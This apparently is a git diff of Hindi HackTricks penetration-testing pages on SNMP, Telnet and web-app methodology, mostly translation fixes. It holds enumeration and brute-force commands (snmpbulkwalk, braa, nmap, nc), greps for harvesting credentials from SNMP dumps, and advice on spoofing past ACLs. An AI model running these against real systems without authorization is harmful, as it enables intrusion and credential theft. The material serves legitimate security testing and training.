- 1 – इसे ISO कहा जाता है और यह स्थापित करता है कि यह एक OID है। यही कारण है कि सभी OIDs "1" से शुरू होते हैं।
- 3 – इसे ORG कहा जाता है और इसका उपयोग उस संगठन को निर्दिष्ट करने के लिए किया जाता है जिसने डिवाइस बनाया।
@@ -45,17 +46,17 @@ MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्
- 4 – यह मान निर्धारित करता है कि यह डिवाइस एक निजी संगठन द्वारा बनाया गया है और न कि सरकारी।
- 1 – यह मान दर्शाता है कि डिवाइस एक उद्यम या व्यवसाय इकाई द्वारा बनाया गया है।
-ये पहले छह मान सभी डिवाइसों के लिए समान होते हैं और ये आपको उनके बारे में मूल जानकारी देते हैं। ये संख्याओं का अनुक्रम सभी OIDs के लिए समान होगा, सिवाय इसके कि जब डिवाइस सरकारी द्वारा बनाया गया हो।
+ये पहले छह मान सभी डिवाइसों के लिए समान होते हैं और ये आपको उनके बारे में मूल जानकारी देते हैं। ये संख्याओं का अनुक्रम सभी OIDs के लिए समान होगा, सिवाय इसके कि डिवाइस सरकारी द्वारा बनाया गया हो।
अगले संख्याओं के सेट पर चलते हैं।
-- 1452 – उस संगठन का नाम देता है जिसने इस डिवाइस का निर्माण किया।
+- 1452 – इस डिवाइस को बनाने वाले संगठन का नाम देता है।
- 1 – डिवाइस के प्रकार को स्पष्ट करता है। इस मामले में, यह एक अलार्म घड़ी है।
- 2 – यह निर्धारित करता है कि यह डिवाइस एक रिमोट टर्मिनल यूनिट है।
बाकी के मान डिवाइस के बारे में विशिष्ट जानकारी देते हैं।
-- 5 – एक विविक्त अलार्म बिंदु को दर्शाता है।
+- 5 – एक विशिष्ट अलार्म बिंदु को दर्शाता है।
- 1 – डिवाइस में विशिष्ट बिंदु
- 3 – पोर्ट
- 21 – पोर्ट का पता
@@ -68,43 +69,43 @@ MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्
SNMP के 2 महत्वपूर्ण संस्करण हैं:
- **SNMPv1**: मुख्य संस्करण, यह अभी भी सबसे सामान्य है, **प्रमाणीकरण एक स्ट्रिंग** (कम्युनिटी स्ट्रिंग) पर आधारित है जो **सादा पाठ** में यात्रा करता है (सभी जानकारी सादा पाठ में यात्रा करती है)। **संस्करण 2 और 2c** भी **सादा पाठ में ट्रैफ़िक भेजते हैं** और **प्रमाणीकरण के रूप में एक कम्युनिटी स्ट्रिंग का उपयोग करते हैं**।
-- **SNMPv3**: एक बेहतर **प्रमाणीकरण** रूप का उपयोग करता है और जानकारी **एन्क्रिप्टेड** यात्रा करती है ( (**शब्दकोश हमला** किया जा सकता है लेकिन SNMPv1 और v2 की तुलना में सही क्रेडेंशियल्स खोजना बहुत कठिन होगा)।
+- **SNMPv3**: एक बेहतर **प्रमाणीकरण** रूप का उपयोग करता है और जानकारी **एन्क्रिप्टेड** यात्रा करती है ( (**शब्दकोश हमले** का प्रदर्शन किया जा सकता है लेकिन SNMPv1 और v2 की तुलना में सही क्रेडेंशियल्स खोजना बहुत कठिन होगा)।
### कम्युनिटी स्ट्रिंग्स
-जैसा कि पहले उल्लेख किया गया, **MIB पर संग्रहीत जानकारी तक पहुँचने के लिए आपको संस्करण 1 और 2/2c पर कम्युनिटी स्ट्रिंग और संस्करण 3 पर क्रेडेंशियल्स जानने की आवश्यकता है।**\
+जैसा कि पहले उल्लेख किया गया है, **MIB पर संग्रहीत जानकारी तक पहुँचने के लिए आपको संस्करण 1 और 2/2c पर कम्युनिटी स्ट्रिंग और संस्करण 3 पर क्रेडेंशियल्स जानने की आवश्यकता है।**\
कम्युनिटी स्ट्रिंग्स के **2 प्रकार** हैं:
- **`public`** मुख्य रूप से **पढ़ने के लिए केवल** कार्य
- **`private`** **पढ़ने/लिखने** में सामान्य
-ध्यान दें कि **OID की लिखने की क्षमता उपयोग की गई कम्युनिटी स्ट्रिंग पर निर्भर करती है**, इसलिए **यहां तक कि** यदि आप पाते हैं कि "**public**" का उपयोग किया जा रहा है, तो आप कुछ मानों को **लिखने में सक्षम हो सकते हैं।** इसके अलावा, वहाँ **ऐसे ऑब्जेक्ट्स** हो सकते हैं जो **हमेशा "पढ़ने के लिए केवल"** होते हैं।\
+ध्यान दें कि **OID की लिखने की क्षमता उपयोग की गई कम्युनिटी स्ट्रिंग पर निर्भर करती है**, इसलिए **यहां तक कि** यदि आप पाते हैं कि "**public**" का उपयोग किया जा रहा है, तो आप कुछ मानों को **लिखने में सक्षम हो सकते हैं।** इसके अलावा, ऐसे ऑब्जेक्ट्स हो सकते हैं जो **हमेशा "पढ़ने के लिए केवल"** होते हैं।\
यदि आप एक ऑब्जेक्ट को **लिखने** की कोशिश करते हैं तो **`noSuchName` या `readOnly` त्रुटि** प्राप्त होती है\*\*.\*\*
-संस्करण 1 और 2/2c में यदि आप एक **खराब** कम्युनिटी स्ट्रिंग का उपयोग करते हैं तो सर्वर **प्रतिक्रिया** नहीं देगा। इसलिए, यदि यह प्रतिक्रिया देता है, तो एक **मान्य कम्युनिटी स्ट्रिंग का उपयोग किया गया था**।
+संस्करण 1 और 2/2c में यदि आप एक **खराब** कम्युनिटी स्ट्रिंग का उपयोग करते हैं तो सर्वर **प्रतिक्रिया** नहीं देगा। इसलिए, यदि यह प्रतिक्रिया देता है, तो **एक मान्य कम्युनिटी स्ट्रिंग का उपयोग किया गया था**।
## पोर्ट्स
[विकिपीडिया से](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol):
- SNMP एजेंट UDP पोर्ट **161** पर अनुरोध प्राप्त करता है।
-- प्रबंधक पोर्ट **162** पर सूचनाएँ ( [ट्रैप्स](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) और [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) प्राप्त करता है।
+- प्रबंधक पोर्ट **162** पर सूचनाएँ प्राप्त करता है ([ट्रैप्स](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) और [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest))।
- जब [परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Transport_Layer_Security) या [डेटाग्राम परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) के साथ उपयोग किया जाता है, तो अनुरोध पोर्ट **10161** पर प्राप्त होते हैं और सूचनाएँ पोर्ट **10162** पर भेजी जाती हैं।
## ब्रूट-फोर्स कम्युनिटी स्ट्रिंग (v1 और v2c)
-**कम्युनिटी स्ट्रिंग का अनुमान लगाने के लिए** आप एक शब्दकोश हमले का प्रदर्शन कर सकते हैं। SNMP के खिलाफ ब्रूट-फोर्स हमले को करने के विभिन्न तरीकों के लिए [यहाँ देखें](../../generic-hacking/brute-force.md#snmp)। एक सामान्य उपयोग की जाने वाली कम्युनिटी स्ट्रिंग `public` है।
+**कम्युनिटी स्ट्रिंग का अनुमान लगाने के लिए** आप एक शब्दकोश हमले का प्रदर्शन कर सकते हैं। SNMP के खिलाफ ब्रूट-फोर्स हमले के विभिन्न तरीकों के लिए [यहां देखें](../../generic-hacking/brute-force.md#snmp)। एक सामान्य उपयोग की जाने वाली कम्युनिटी स्ट्रिंग `public` है।
-## SNMP की गणना
+## SNMP की गणना करना
-यह अनुशंसा की जाती है कि आप यह देखने के लिए निम्नलिखित स्थापित करें कि **डिवाइस से एकत्रित प्रत्येक OID का क्या अर्थ है**:
+यह अनुशंसा की जाती है कि आप निम्नलिखित को स्थापित करें ताकि आप देख सकें कि **डिवाइस से एकत्रित प्रत्येक OID का क्या अर्थ है**:
```bash
apt-get install snmp-mibs-downloader
download-mibs
# Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf
sudo vi /etc/snmp/snmp.conf
```
-यदि आप एक मान्य समुदाय स्ट्रिंग जानते हैं, तो आप **SNMPWalk** या **SNMP-Check** का उपयोग करके डेटा तक पहुँच सकते हैं:
+यदि आपके पास एक मान्य समुदाय स्ट्रिंग है, तो आप **SNMPWalk** या **SNMP-Check** का उपयोग करके डेटा तक पहुँच सकते हैं:
```bash
snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot
snmpbulkwalk -c public -v2c 10.10.11.136 .
@@ -120,7 +121,7 @@ nmap --script "snmp* and not snmp-brute"
braa @:.1.3.6.* #Bruteforce specific OID
```
-विस्तारित क्वेरीज़ (download-mibs) के लिए धन्यवाद, निम्नलिखित कमांड के साथ सिस्टम के बारे में और अधिक जानकारी प्राप्त करना संभव है:
+विस्तारित क्वेरीज़ (download-mibs) के लिए धन्यवाद, निम्नलिखित कमांड के साथ सिस्टम के बारे में और अधिक जानकारी इकट्ठा करना संभव है:
```bash
snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
@@ -141,23 +142,23 @@ snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull
- **`rwcommunity`** के लिए **IPv4** पते, और
- **`rwcommunity6`** के लिए **IPv6** पते।
-दोनों कमांड एक **समुदाय स्ट्रिंग** और संबंधित IP पते की आवश्यकता होती है, जो अनुरोध के स्रोत की परवाह किए बिना पूर्ण पहुंच प्रदान करती है।
+दोनों कमांड एक **कम्युनिटी स्ट्रिंग** और संबंधित IP पते की आवश्यकता होती है, जो अनुरोध के स्रोत की परवाह किए बिना पूर्ण पहुंच प्रदान करती है।
### Microsoft Windows के लिए SNMP पैरामीटर
-Windows सिस्टम के विभिन्न पहलुओं की निगरानी के लिए एक श्रृंखला **प्रबंधन सूचना आधार (MIB) मान** का उपयोग किया जाता है:
+SNMP के माध्यम से Windows सिस्टम के विभिन्न पहलुओं की निगरानी के लिए एक श्रृंखला **प्रबंधन सूचना आधार (MIB) मान** का उपयोग की जाती है:
- **सिस्टम प्रक्रियाएँ**: `1.3.6.1.2.1.25.1.6.0` के माध्यम से पहुंची जाती हैं, यह पैरामीटर सिस्टम के भीतर सक्रिय प्रक्रियाओं की निगरानी की अनुमति देता है।
-- **चल रहे कार्यक्रम**: `1.3.6.1.2.1.25.4.2.1.2` मान वर्तमान में चल रहे कार्यक्रमों को ट्रैक करने के लिए निर्धारित है।
+- **चल रहे कार्यक्रम**: वर्तमान में चल रहे कार्यक्रमों को ट्रैक करने के लिए `1.3.6.1.2.1.25.4.2.1.2` मान निर्धारित किया गया है।
- **प्रक्रियाओं का पथ**: यह निर्धारित करने के लिए कि कोई प्रक्रिया कहाँ से चल रही है, `1.3.6.1.2.1.25.4.2.1.4` MIB मान का उपयोग किया जाता है।
-- **स्टोरेज यूनिट्स**: स्टोरेज यूनिट्स की निगरानी `1.3.6.1.2.1.25.2.3.1.4` द्वारा की जाती है।
-- **सॉफ़्टवेयर नाम**: सिस्टम पर स्थापित सॉफ़्टवेयर की पहचान करने के लिए, `1.3.6.1.2.1.25.6.3.1.2` का उपयोग किया जाता है।
-- **उपयोगकर्ता खाते**: `1.3.6.1.4.1.77.1.2.25` मान उपयोगकर्ता खातों को ट्रैक करने की अनुमति देता है।
-- **TCP स्थानीय पोर्ट**: अंततः, `1.3.6.1.2.1.6.13.1.3` TCP स्थानीय पोर्ट की निगरानी के लिए निर्धारित है, जो सक्रिय नेटवर्क कनेक्शनों की जानकारी प्रदान करता है।
+- **स्टोरेज यूनिट्स**: स्टोरेज यूनिट्स की निगरानी `1.3.6.1.2.1.25.2.3.1.4` के माध्यम से की जाती है।
+- **सॉफ़्टवेयर नाम**: सिस्टम पर स्थापित सॉफ़्टवेयर की पहचान करने के लिए `1.3.6.1.2.1.25.6.3.1.2` का उपयोग किया जाता है।
+- **उपयोगकर्ता खाते**: उपयोगकर्ता खातों को ट्रैक करने के लिए `1.3.6.1.4.1.77.1.2.25` मान की अनुमति है।
+- **TCP स्थानीय पोर्ट**: अंततः, `1.3.6.1.2.1.6.13.1.3` TCP स्थानीय पोर्ट की निगरानी के लिए निर्धारित किया गया है, जो सक्रिय नेटवर्क कनेक्शनों की जानकारी प्रदान करता है।
### Cisco
-यदि आप Cisco उपकरण हैं तो इस पृष्ठ पर नज़र डालें:
+यदि आप Cisco उपकरण हैं तो इस पृष्ठ पर एक नज़र डालें:
{{#ref}}
cisco-snmp.md
@@ -173,7 +174,7 @@ snmp-rce.md
## **मासिव SNMP**
-[Braa ](https://github.com/mteg/braa) एक मास SNMP स्कैनर है। इस तरह के उपकरण का इरादा, निश्चित रूप से, SNMP प्रश्न बनाना है - लेकिन net-snmp से snmpwalk के विपरीत, यह एक ही प्रक्रिया में दर्जनों या सैकड़ों होस्टों को एक साथ प्रश्न करने में सक्षम है। इस प्रकार, यह बहुत कम सिस्टम संसाधनों का उपभोग करता है और स्कैनिंग बहुत तेज़ करता है।
+[Braa ](https://github.com/mteg/braa) एक मास SNMP स्कैनर है। इस तरह के उपकरण का इरादा, निश्चित रूप से, SNMP प्रश्न करना है - लेकिन net-snmp से snmpwalk के विपरीत, यह एक ही प्रक्रिया में दर्जनों या सैकड़ों होस्टों को एक साथ प्रश्न करने में सक्षम है। इस प्रकार, यह बहुत कम सिस्टम संसाधनों का उपभोग करता है और स्कैनिंग बहुत तेज़ करता है।
Braa अपना खुद का SNMP स्टैक लागू करता है, इसलिए इसे net-snmp जैसी किसी भी SNMP लाइब्रेरी की आवश्यकता नहीं होती है।
@@ -185,9 +186,9 @@ braa ignite123@192.168.1.125:.1.3.6.*
तो, चलिए सबसे दिलचस्प जानकारी की तलाश करते हैं (from [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
-### **उपकरण**
+### **Devices**
-यह प्रक्रिया प्रत्येक फ़ाइल से **sysDesc MIB डेटा** (1.3.6.1.2.1.1.1.0) निकालने के साथ शुरू होती है ताकि उपकरणों की पहचान की जा सके। यह एक **grep कमांड** के उपयोग के माध्यम से पूरा किया जाता है:
+यह प्रक्रिया प्रत्येक फ़ाइल से **sysDesc MIB डेटा** (1.3.6.1.2.1.1.1.0) को निकालने के साथ शुरू होती है ताकि उपकरणों की पहचान की जा सके। यह एक **grep कमांड** के उपयोग के माध्यम से पूरा किया जाता है:
```bash
grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
@@ -197,9 +198,9 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
```bash
grep -i "trap" *.snmp
```
-### **उपयोगकर्ता नाम/पासवर्ड**
+### **यूजरनेम/पासवर्ड**
-MIB तालिकाओं में संग्रहीत लॉग को **असफल लॉगिन प्रयासों** के लिए जांचा जाता है, जिसमें गलती से उपयोगकर्ता नाम के रूप में दर्ज किए गए पासवर्ड शामिल हो सकते हैं। मूल्यवान डेटा खोजने के लिए _fail_, _failed_, या _login_ जैसे कीवर्ड खोजे जाते हैं:
+MIB तालिकाओं में संग्रहीत लॉग को **असफल लॉगिन प्रयासों** के लिए जांचा जाता है, जिसमें गलती से यूजरनेम के रूप में दर्ज किए गए पासवर्ड शामिल हो सकते हैं। मूल्यवान डेटा खोजने के लिए _fail_, _failed_, या _login_ जैसे कीवर्ड खोजे जाते हैं:
```bash
grep -i "login\|fail" *.snmp
```
@@ -211,11 +212,11 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```
## SNMP मानों को संशोधित करना
-आप _**NetScanTools**_ का उपयोग करके **मानों को संशोधित** कर सकते हैं। ऐसा करने के लिए आपको **निजी स्ट्रिंग** पता होनी चाहिए।
+आप _**NetScanTools**_ का उपयोग करके **मानों को संशोधित** कर सकते हैं। ऐसा करने के लिए आपको **निजी स्ट्रिंग** जाननी होगी।
## स्पूफिंग
-यदि कोई ACL है जो केवल कुछ IPs को SMNP सेवा को क्वेरी करने की अनुमति देती है, तो आप UDP पैकेट के अंदर इनमें से किसी एक पते को स्पूफ कर सकते हैं और ट्रैफ़िक को स्निफ कर सकते हैं।
+यदि कोई ACL है जो केवल कुछ IPs को SMNP सेवा को क्वेरी करने की अनुमति देती है, तो आप UDP पैकेट के अंदर इन पते में से एक को स्पूफ कर सकते हैं और ट्रैफ़िक को स्निफ कर सकते हैं।
## SNMP कॉन्फ़िगरेशन फ़ाइलों की जांच करें
@@ -223,6 +224,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
- snmpd.conf
- snmp-config.xml
+
## HackTricks स्वचालित आदेश
```
Protocol_Name: SNMP #Protocol Abbreviation if there is one.
@@ -235,7 +237,7 @@ Description: Notes for SNMP
Note: |
SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...).
-https://book.hacktricks.xyz/pentesting/pentesting-snmp
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: SNMP Check
diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md
index 5306e220f..4a57c133b 100644
--- a/src/network-services-pentesting/pentesting-telnet.md
+++ b/src/network-services-pentesting/pentesting-telnet.md
@@ -11,9 +11,9 @@ Telnet एक नेटवर्क प्रोटोकॉल है जो
```
23/tcp open telnet
```
-## **सूचना संग्रहण**
+## **Enumeration**
-### **बैनर ग्रैबिंग**
+### **Banner Grabbing**
```bash
nc -vn 23
```
@@ -21,9 +21,9 @@ nc -vn 23
```bash
nmap -n -sV -Pn --script "*telnet* and safe" -p 23
```
-स्क्रिप्ट `telnet-ntlm-info.nse` NTLM जानकारी (Windows संस्करण) प्राप्त करेगा।
+The script `telnet-ntlm-info.nse` NTLM जानकारी (Windows संस्करण) प्राप्त करेगा।
-[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) से: TELNET प्रोटोकॉल में विभिन्न "**विकल्प**" हैं जिन्हें स्वीकृत किया जाएगा और उपयोगकर्ता और सर्वर को उनके TELNET कनेक्शन के लिए अधिक जटिल (या शायद बस अलग) सेट के सम्मेलनों का उपयोग करने के लिए सहमत होने की अनुमति देने के लिए "**DO, DON'T, WILL, WON'T**" संरचना के साथ उपयोग किया जा सकता है। ऐसे विकल्पों में वर्ण सेट, इको मोड आदि को बदलना शामिल हो सकता है।
+[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) से: TELNET प्रोटोकॉल में विभिन्न "**विकल्प**" हैं जो स्वीकृत होंगे और उपयोगकर्ता और सर्वर को उनके TELNET कनेक्शन के लिए एक अधिक विस्तृत (या शायद बस अलग) सेट के नियमों का उपयोग करने के लिए सहमत होने की अनुमति देने के लिए "**DO, DON'T, WILL, WON'T**" संरचना के साथ उपयोग किया जा सकता है। ऐसे विकल्पों में वर्ण सेट, इको मोड आदि को बदलना शामिल हो सकता है।
**मुझे पता है कि इन विकल्पों को गिनना संभव है लेकिन मुझे नहीं पता कैसे, इसलिए मुझे बताएं कि क्या आप जानते हैं।**
@@ -48,7 +48,7 @@ Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
-https://book.hacktricks.xyz/pentesting/pentesting-telnet
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab
diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md
index 4b63a7794..67d4c2706 100644
--- a/src/network-services-pentesting/pentesting-web/README.md
+++ b/src/network-services-pentesting/pentesting-web/README.md
@@ -27,15 +27,15 @@ web-api-pentesting.md
> इस पद्धति में हम मानते हैं कि आप एक डोमेन (या उपडोमेन) पर हमला करने जा रहे हैं और केवल उसी पर। इसलिए, आपको इस पद्धति को प्रत्येक खोजे गए डोमेन, उपडोमेन या IP पर लागू करना चाहिए जिसमें अनिश्चित वेब सर्वर हो।
-- [ ] **तकनीकों** की **पहचान** करने से शुरू करें जो वेब सर्वर द्वारा उपयोग की जा रही हैं। यदि आप तकनीक की सफलतापूर्वक पहचान कर सकते हैं तो परीक्षण के बाकी हिस्से के दौरान ध्यान में रखने के लिए **तरकीबें** देखें।
-- [ ] क्या तकनीक के संस्करण की कोई **ज्ञात भेद्यता** है?
-- [ ] क्या कोई **प्रसिद्ध तकनीक** का उपयोग किया जा रहा है? अधिक जानकारी निकालने के लिए कोई **उपयोगी तरकीब**?
+- [ ] **वेब सर्वर** द्वारा उपयोग की जाने वाली **प्रौद्योगिकियों** की **पहचान** करना शुरू करें। यदि आप तकनीक की सफलतापूर्वक पहचान कर सकते हैं तो परीक्षण के बाकी हिस्से के दौरान ध्यान में रखने के लिए **कौशल** देखें।
+- [ ] क्या प्रौद्योगिकी के संस्करण की कोई **ज्ञात भेद्यता** है?
+- [ ] क्या कोई **जानी-मानी तकनीक** का उपयोग कर रहे हैं? अधिक जानकारी निकालने के लिए कोई **उपयोगी ट्रिक**?
- [ ] क्या चलाने के लिए कोई **विशेषीकृत स्कैनर** है (जैसे wpscan)?
- [ ] **सामान्य प्रयोजन स्कैनर** लॉन्च करें। आप कभी नहीं जानते कि वे कुछ खोजने जा रहे हैं या कुछ दिलचस्प जानकारी खोजने जा रहे हैं।
- [ ] **प्रारंभिक जांच** से शुरू करें: **रोबोट**, **साइटमैप**, **404** त्रुटि और **SSL/TLS स्कैन** (यदि HTTPS)।
-- [ ] वेब पृष्ठ को **स्पाइडरिंग** करना शुरू करें: यह सभी संभावित **फाइलों, फ़ोल्डरों** और **पैरामीटरों** को **खोजने** का समय है। साथ ही, **विशेष खोजों** के लिए जांचें।
+- [ ] वेब पृष्ठ को **स्पाइडरिंग** करना शुरू करें: यह सभी संभावित **फाइलों, फ़ोल्डरों** और **पैरामीटर** को **खोजने** का समय है। साथ ही, **विशेष खोजों** के लिए जांचें।
- [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका खोजा जाता है, तो इसे स्पाइडर किया जाना चाहिए।_
-- [ ] **डायरेक्टरी ब्रूट-फोर्सिंग**: सभी खोजे गए फ़ोल्डरों को ब्रूट फोर्स करने का प्रयास करें नए **फाइलों** और **निर्देशिकाओं** की खोज करते हुए।
+- [ ] **डायरेक्टरी ब्रूट-फोर्सिंग**: सभी खोजे गए फ़ोल्डरों को ब्रूट फोर्स करने का प्रयास करें नए **फाइलों** और **निर्देशिकाओं** की खोज करें।
- [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका खोजा जाता है, तो इसे ब्रूट-फोर्स किया जाना चाहिए।_
- [ ] **बैकअप जांच**: सामान्य बैकअप एक्सटेंशन जोड़कर **खोजी गई फाइलों** के **बैकअप** खोजने का प्रयास करें।
- [ ] **ब्रूट-फोर्स पैरामीटर**: **छिपे हुए पैरामीटर** खोजने का प्रयास करें।
@@ -47,7 +47,7 @@ web-api-pentesting.md
### Identify
जांचें कि क्या चल रहे सर्वर **संस्करण** के लिए कोई **ज्ञात भेद्यताएँ** हैं।\
-**HTTP हेडर और प्रतिक्रिया के कुकीज़** **तकनीकों** और/या **संस्करण** की **पहचान** करने के लिए बहुत उपयोगी हो सकते हैं। **Nmap स्कैन** सर्वर संस्करण की पहचान कर सकता है, लेकिन यह उपकरण भी उपयोगी हो सकते हैं [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)या [**https://builtwith.com/**](https://builtwith.com)**:**
+**HTTP हेडर और प्रतिक्रिया के कुकीज़** प्रौद्योगिकियों और/या उपयोग की जा रही **संस्करण** की **पहचान** करने के लिए बहुत उपयोगी हो सकते हैं। **Nmap स्कैन** सर्वर संस्करण की पहचान कर सकता है, लेकिन यह उपकरण भी उपयोगी हो सकते हैं [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)या [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 #Stealthy
whatweb -a 3 #Aggresive
@@ -99,16 +99,16 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_ध्यान में रखें कि **same domain** विभिन्न **ports**, **folders** और **subdomains** में **different technologies** का उपयोग कर सकता है._\
-यदि वेब एप्लिकेशन किसी प्रसिद्ध **tech/platform listed before** या **कोई अन्य** का उपयोग कर रहा है, तो **Internet** पर नए **tricks** खोजने के लिए मत भूलें (और मुझे बताएं!)।
+यदि वेब एप्लिकेशन किसी प्रसिद्ध **tech/platform listed before** या **कोई अन्य** का उपयोग कर रहा है, तो **Internet** पर नए **tricks** खोजना न भूलें (और मुझे बताएं!)।
### Source Code Review
-यदि एप्लिकेशन का **source code** **github** में उपलब्ध है, तो एप्लिकेशन का **White box test** करने के अलावा, वर्तमान **Black-Box testing** के लिए **कुछ जानकारी** जो **useful** हो सकती है:
+यदि एप्लिकेशन का **source code** **github** पर उपलब्ध है, तो एप्लिकेशन का **White box test** करने के अलावा, वर्तमान **Black-Box testing** के लिए **कुछ जानकारी** जो **useful** हो सकती है:
-- क्या कोई **Change-log या Readme या Version** फ़ाइल है या कुछ भी जिसमें **version info accessible** वेब के माध्यम से है?
+- क्या कोई **Change-log या Readme या Version** फ़ाइल है या कुछ भी जिसमें **version info accessible** वेब के माध्यम से हो?
- **Credentials** कैसे और कहाँ सहेजे जाते हैं? क्या कोई (accessible?) **file** है जिसमें credentials (usernames या passwords) हैं?
- क्या **passwords** **plain text**, **encrypted** हैं या कौन सा **hashing algorithm** उपयोग किया गया है?
-- क्या यह कुछ encrypt करने के लिए कोई **master key** का उपयोग कर रहा है? कौन सा **algorithm** उपयोग किया गया है?
+- क्या कुछ encrypt करने के लिए कोई **master key** का उपयोग किया जा रहा है? कौन सा **algorithm** उपयोग किया गया है?
- क्या आप किसी **vulnerability** का फायदा उठाकर **इन फ़ाइलों** में से किसी तक पहुँच सकते हैं?
- क्या **github** में कोई **interesting information** है (solved और not solved) **issues** में? या **commit history** में (शायद कुछ **password जो एक पुराने commit में डाला गया**)?
@@ -132,7 +132,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMS स्कैनर
-यदि CMS का उपयोग किया गया है तो **स्कैनर चलाना** न भूलें, शायद कुछ रोचक पाया जाए:
+यदि CMS का उपयोग किया गया है तो **स्कैनर चलाना** न भूलें, शायद कुछ रोचक मिल जाए:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** वेबसाइटों के लिए सुरक्षा मुद्दे। (GUI)\
@@ -171,19 +171,19 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- **URL** के **अंत** में **`/~randomthing/%s`** के रूप में इनपुट देकर त्रुटि उत्पन्न करें
- **PATCH, DEBUG** या गलत जैसे **FAKE** जैसे **विभिन्न HTTP क्रियाएँ** आज़माएँ
-#### **जांचें कि क्या आप फ़ाइलें अपलोड कर सकते हैं (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
+#### **जांचें कि क्या आप फ़ाइलें अपलोड कर सकते हैं (**[**PUT क्रिया, WebDav**](put-method-webdav.md)**)**
यदि आप पाते हैं कि **WebDav** **सक्षम** है लेकिन आपके पास **रूट फ़ोल्डर** में **फ़ाइलें अपलोड करने** के लिए पर्याप्त अनुमतियाँ नहीं हैं, तो प्रयास करें:
- **ब्रूट फोर्स** क्रेडेंशियल्स
-- वेब पृष्ठ के अंदर **पाई गई फ़ोल्डरों** के **बाकी** में WebDav के माध्यम से **फ़ाइलें अपलोड करें**। आपको अन्य फ़ोल्डरों में फ़ाइलें अपलोड करने की अनुमति हो सकती है।
+- वेब पृष्ठ के अंदर **पाई गई अन्य फ़ोल्डरों** में फ़ाइलें **अपलोड करें**। आपको अन्य फ़ोल्डरों में फ़ाइलें अपलोड करने की अनुमति हो सकती है।
### **SSL/TLS कमजोरियाँ**
-- यदि एप्लिकेशन **HTTPS के उपयोगकर्ता को मजबूर नहीं कर रहा है** तो यह **MitM** के लिए **कमजोर** है
+- यदि एप्लिकेशन **HTTPS के उपयोगकर्ता को किसी भी भाग में मजबूर नहीं कर रहा है**, तो यह **MitM के लिए कमजोर** है
- यदि एप्लिकेशन **HTTP का उपयोग करके संवेदनशील डेटा (पासवर्ड) भेज रहा है**। तो यह एक उच्च कमजोरी है।
-**कमजोरियों** के लिए जांचने के लिए [**testssl.sh**](https://github.com/drwetter/testssl.sh) का उपयोग करें (बग बाउंटी कार्यक्रमों में शायद इस प्रकार की कमजोरियों को स्वीकार नहीं किया जाएगा) और कमजोरियों को फिर से जांचने के लिए [**a2sv** ](https://github.com/hahwul/a2sv) का उपयोग करें:
+**कमजोरियों** के लिए जांचने के लिए [**testssl.sh**](https://github.com/drwetter/testssl.sh) का उपयोग करें (बग बाउंटी कार्यक्रमों में शायद इस प्रकार की कमजोरियों को स्वीकार नहीं किया जाएगा) और कमजोरियों को फिर से जांचने के लिए [**a2sv**](https://github.com/hahwul/a2sv) का उपयोग करें:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@@ -199,10 +199,10 @@ SSL/TLS कमजोरियों के बारे में जानक
### स्पाइडरिंग
-वेब के अंदर किसी प्रकार का **स्पाइडर** लॉन्च करें। स्पाइडर का लक्ष्य है **परीक्षित एप्लिकेशन से जितने संभव हो सके पथों को खोजना**। इसलिए, वेब क्रॉलिंग और बाहरी स्रोतों का उपयोग करके जितने संभव हो सके वैध पथों को खोजा जाना चाहिए।
